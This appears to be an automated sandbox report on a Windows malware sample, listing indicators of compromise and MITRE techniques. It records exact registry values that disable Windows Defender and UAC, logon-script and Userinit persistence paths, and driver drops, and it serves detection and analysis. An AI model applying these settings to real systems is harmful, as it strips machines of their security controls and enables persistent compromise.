sheetrat | a9fc96eb19d9c9e0ff632624aa221020eec1e4c3af5af9a546cef455dcdd085a

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\System32\\userinit.exe,C:\\Windows\\Speech_OneCore\\Engines\\TTS\\ru-RU\\M1004NUS.exe,"	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	M1004NUS.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	M1004NUS.exe

UAC bypass 3 TTPs 8 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe

Detects binaries and memory artifacts referencing sandbox DLLs typically observed in sandbox evasion 2 IoCs

resource	yara_rule
behavioral1/memory/5036-0-0x0000026ECBF70000-0x0000026ECBFDE000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SandboxHookingDLL
behavioral1/files/0x0007000000024598-13.dat	INDICATOR_SUSPICIOUS_EXE_SandboxHookingDLL

Detects executables (downlaoders) containing URLs to raw contents of a paste 2 IoCs

resource	yara_rule
behavioral1/memory/5036-0-0x0000026ECBF70000-0x0000026ECBFDE000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawPaste_URL
behavioral1/files/0x0007000000024598-13.dat	INDICATOR_SUSPICIOUS_EXE_RawPaste_URL

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs

resource	yara_rule
behavioral1/memory/5036-0-0x0000026ECBF70000-0x0000026ECBFDE000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral1/files/0x0007000000024598-13.dat	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Modifies boot configuration data using bcdedit 1 TTPs 6 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
4476	bcdedit.exe
3808	bcdedit.exe
2412	bcdedit.exe
4184	bcdedit.exe
4232	bcdedit.exe
3192	bcdedit.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 52 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1028	powershell.exe
2512	powershell.exe
652	powershell.exe
3548	powershell.exe
4040	powershell.exe
1120	powershell.exe
3368	powershell.exe
1584	powershell.exe
4440	powershell.exe
2628	powershell.exe
4608	powershell.exe
1452	powershell.exe
5052	powershell.exe
436	powershell.exe
1980	powershell.exe
3512	powershell.exe
3464	powershell.exe
4608	powershell.exe
1132	powershell.exe
3788	powershell.exe
5032	powershell.exe
4736	powershell.exe
4364	powershell.exe
3840	powershell.exe
1724	powershell.exe
2152	powershell.exe
652	powershell.exe
5052	powershell.exe
1120	powershell.exe
436	powershell.exe
4440	powershell.exe
5032	powershell.exe
2628	powershell.exe
4736	powershell.exe
4364	powershell.exe
3548	powershell.exe
3840	powershell.exe
4040	powershell.exe
1724	powershell.exe
3464	powershell.exe
1980	powershell.exe
1132	powershell.exe
4608	powershell.exe
1452	powershell.exe
4608	powershell.exe
2152	powershell.exe
3368	powershell.exe
2512	powershell.exe
1584	powershell.exe
3788	powershell.exe
1028	powershell.exe
3512	powershell.exe

Drops file in Drivers directory 32 IoCs

description	ioc	Process
File created	C:\Windows\system32\drivers\raspptp.sys	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File created	C:\Windows\system32\drivers\parport.sys	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\system32\drivers\usbprint.sys	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\system32\drivers\usbprint.sys	M1004NUS.exe
File opened for modification	C:\Windows\system32\drivers\rasl2tp.sys	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\system32\drivers\raspptp.sys	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File created	C:\Windows\system32\drivers\modem.sys	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\system32\drivers\serenum.sys	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File created	C:\Windows\system32\drivers\usbprint.sys	M1004NUS.exe
File created	C:\Windows\system32\drivers\rasl2tp.sys	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\system32\drivers\raspppoe.sys	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File created	C:\Windows\system32\drivers\serenum.sys	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\system32\drivers\beep.sys.bak	M1004NUS.exe
File created	C:\Windows\system32\drivers\beep.sys	M1004NUS.exe
File opened for modification	C:\Windows\system32\drivers\parport.sys	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\system32\drivers\null.sys	M1004NUS.exe
File opened for modification	C:\Windows\system32\drivers\parport.sys	M1004NUS.exe
File created	C:\Windows\system32\drivers\parport.sys	M1004NUS.exe
File opened for modification	C:\Windows\system32\drivers\modem.sys	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\system32\drivers\serial.sys	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\system32\drivers\null.sys.bak	M1004NUS.exe
File opened for modification	C:\Windows\system32\drivers\beep.sys	M1004NUS.exe
File opened for modification	C:\Windows\system32\drivers\parport.sys.bak	M1004NUS.exe
File opened for modification	C:\Windows\system32\drivers\null.sys	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\system32\drivers\beep.sys	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File created	C:\Windows\system32\drivers\serial.sys	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File created	C:\Windows\system32\drivers\null.sys	M1004NUS.exe
File created	C:\Windows\system32\drivers\usbprint.sys	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\system32\drivers\usbprint.sys.bak	M1004NUS.exe
File created	C:\Windows\system32\drivers\null.sys	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File created	C:\Windows\system32\drivers\beep.sys	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File created	C:\Windows\system32\drivers\raspppoe.sys	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
884	netsh.exe
1944	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\International\Geo\Nation	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes a file named after a Windows system binary 1 TTPs 1 IoCs

The file runs from a user directory while carrying the name of an executable that normally only exists in System32.

Match Legitimate Name or Location

T1036.005

description	ioc	Process
File opened (read-only)	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\RuntimeBroker.exe	M1004NUS.exe

Executes dropped EXE 1 IoCs

pid	Process
2148	M1004NUS.exe

Loads dropped DLL 6 IoCs

pid	Process
3296	Process not Found
3548	powershell.exe
3368	powershell.exe
5032	powershell.exe
3296	Process not Found
2868	Process not Found

Modifies file permissions 1 TTPs 22 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4004	icacls.exe
436	icacls.exe
5052	icacls.exe
868	icacls.exe
2528	icacls.exe
960	icacls.exe
1452	icacls.exe
1784	icacls.exe
628	icacls.exe
4192	icacls.exe
4944	icacls.exe
1672	icacls.exe
2728	icacls.exe
3936	icacls.exe
4216	icacls.exe
3768	icacls.exe
2780	icacls.exe
4016	icacls.exe
1588	icacls.exe
3284	icacls.exe
1040	icacls.exe
1072	icacls.exe

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 2 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Environment\UserInitMprLogonScript = "C:\\Windows\\Speech_OneCore\\Engines\\TTS\\ru-RU\\WinSyncLogon.cmd"	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Environment\UserInitMprLogonScript = "C:\\Windows\\Speech_OneCore\\Engines\\TTS\\ru-RU\\WinSyncLogon.cmd"	M1004NUS.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Windows security modification 2 TTPs 2 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	M1004NUS.exe

Checks whether UAC is enabled 1 TTPs 4 IoCs

defense_evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	M1004NUS.exe

Enumerates connected drives 3 TTPs 26 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

persistence privilege_escalation

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
21	ip-api.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\BootFiles\BootExecutor.exe	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File created	C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\WinSyncLogon.cmd	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\WinSyncLogon.cmd	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File created	C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\WinSyncLogon.cmd	M1004NUS.exe

Launches sc.exe 6 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3312	sc.exe
2316	sc.exe
1540	sc.exe
3444	sc.exe
1212	sc.exe
3820	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 15 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3808	cmd.exe
4888	cmd.exe
3704	cmd.exe
2272	CMD.exe
3056	cmd.exe
2824	cmd.exe
3500	cmd.exe
3908	cmd.exe
4260	cmd.exe
2744	CMD.exe
2884	cmd.exe
3272	cmd.exe
908	cmd.exe
5052	cmd.exe
4060	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	M1004NUS.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	M1004NUS.exe

Modifies Control Panel 2 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\Desktop\DisplayTestMode = "0"	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\Desktop\PaintDesktopVersion = "0"	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\gogoduck	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Process not Found

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 23 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

defense_evasion privilege_escalation

pid	Process
4732	schtasks.exe
4356	schtasks.exe
800	schtasks.exe
3092	schtasks.exe
3068	schtasks.exe
4636	schtasks.exe
3868	schtasks.exe
3876	schtasks.exe
3372	schtasks.exe
1684	schtasks.exe
2784	schtasks.exe
3040	schtasks.exe
3960	schtasks.exe
3808	schtasks.exe
4324	schtasks.exe
3436	schtasks.exe
4732	schtasks.exe
2584	schtasks.exe
892	schtasks.exe
3652	schtasks.exe
5004	schtasks.exe
4192	schtasks.exe
692	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
4364	powershell.exe
4364	powershell.exe
4364	powershell.exe
4608	powershell.exe
4608	powershell.exe
652	powershell.exe
652	powershell.exe
3548	powershell.exe
3548	powershell.exe
3548	powershell.exe
5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1452	powershell.exe
1452	powershell.exe
1452	powershell.exe
3840	powershell.exe
3840	powershell.exe
3840	powershell.exe
5052	powershell.exe
5052	powershell.exe
5052	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1724	powershell.exe
1724	powershell.exe
1724	powershell.exe
3464	powershell.exe
3464	powershell.exe
3464	powershell.exe
4608	powershell.exe
4608	powershell.exe
4608	powershell.exe
2152	powershell.exe
2152	powershell.exe
2152	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3296	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Token: SeDebugPrivilege	888	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Token: SeDebugPrivilege	4364	powershell.exe
Token: SeDebugPrivilege	4608	powershell.exe
Token: SeDebugPrivilege	652	powershell.exe
Token: SeDebugPrivilege	3548	powershell.exe
Token: SeDebugPrivilege	1452	powershell.exe
Token: SeDebugPrivilege	3840	powershell.exe
Token: SeDebugPrivilege	5052	powershell.exe
Token: SeDebugPrivilege	4040	powershell.exe
Token: SeDebugPrivilege	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Token: SeTakeOwnershipPrivilege	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Token: SeRestorePrivilege	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Token: SeLoadDriverPrivilege	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Token: SeRestorePrivilege	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Token: SeBackupPrivilege	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Token: SeTakeOwnershipPrivilege	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Token: SeSystemEnvironmentPrivilege	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Token: SeDebugPrivilege	1724	powershell.exe
Token: SeShutdownPrivilege	3296	Process not Found
Token: SeCreatePagefilePrivilege	3296	Process not Found
Token: SeShutdownPrivilege	3296	Process not Found
Token: SeCreatePagefilePrivilege	3296	Process not Found
Token: SeShutdownPrivilege	3296	Process not Found
Token: SeCreatePagefilePrivilege	3296	Process not Found
Token: SeShutdownPrivilege	3296	Process not Found
Token: SeCreatePagefilePrivilege	3296	Process not Found
Token: SeDebugPrivilege	3464	powershell.exe
Token: SeDebugPrivilege	4608	powershell.exe
Token: SeDebugPrivilege	2152	powershell.exe
Token: SeDebugPrivilege	1120	powershell.exe
Token: SeDebugPrivilege	3368	powershell.exe
Token: SeDebugPrivilege	436	powershell.exe
Token: SeDebugPrivilege	1980	powershell.exe
Token: SeDebugPrivilege	1132	powershell.exe
Token: SeShutdownPrivilege	3296	Process not Found
Token: SeCreatePagefilePrivilege	3296	Process not Found
Token: SeShutdownPrivilege	3296	Process not Found
Token: SeCreatePagefilePrivilege	3296	Process not Found
Token: SeShutdownPrivilege	3296	Process not Found
Token: SeCreatePagefilePrivilege	3296	Process not Found
Token: SeShutdownPrivilege	3296	Process not Found
Token: SeCreatePagefilePrivilege	3296	Process not Found
Token: SeDebugPrivilege	1028	powershell.exe
Token: SeDebugPrivilege	2512	powershell.exe
Token: SeDebugPrivilege	1584	powershell.exe
Token: SeDebugPrivilege	4440	powershell.exe
Token: SeDebugPrivilege	3788	powershell.exe
Token: SeDebugPrivilege	5032	powershell.exe
Token: SeDebugPrivilege	2628	powershell.exe
Token: SeDebugPrivilege	3512	powershell.exe
Token: SeDebugPrivilege	4736	powershell.exe
Token: SeDebugPrivilege	2148	M1004NUS.exe
Token: SeShutdownPrivilege	3296	Process not Found
Token: SeCreatePagefilePrivilege	3296	Process not Found
Token: SeShutdownPrivilege	3296	Process not Found
Token: SeCreatePagefilePrivilege	3296	Process not Found
Token: SeShutdownPrivilege	3296	Process not Found
Token: SeCreatePagefilePrivilege	3296	Process not Found
Token: SeShutdownPrivilege	3296	Process not Found
Token: SeCreatePagefilePrivilege	3296	Process not Found
Token: SeShutdownPrivilege	3296	Process not Found
Token: SeCreatePagefilePrivilege	3296	Process not Found
Token: SeShutdownPrivilege	3296	Process not Found

Suspicious use of UnmapMainImage 1 TTPs 1 IoCs

Process Hollowing

T1055.012

pid	Process
3296	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5036 wrote to memory of 2884	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	91
PID 2884 wrote to memory of 1944	2884	cmd.exe	93
PID 5036 wrote to memory of 1540	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	94
PID 5036 wrote to memory of 3444	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	96
PID 5036 wrote to memory of 1212	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	98
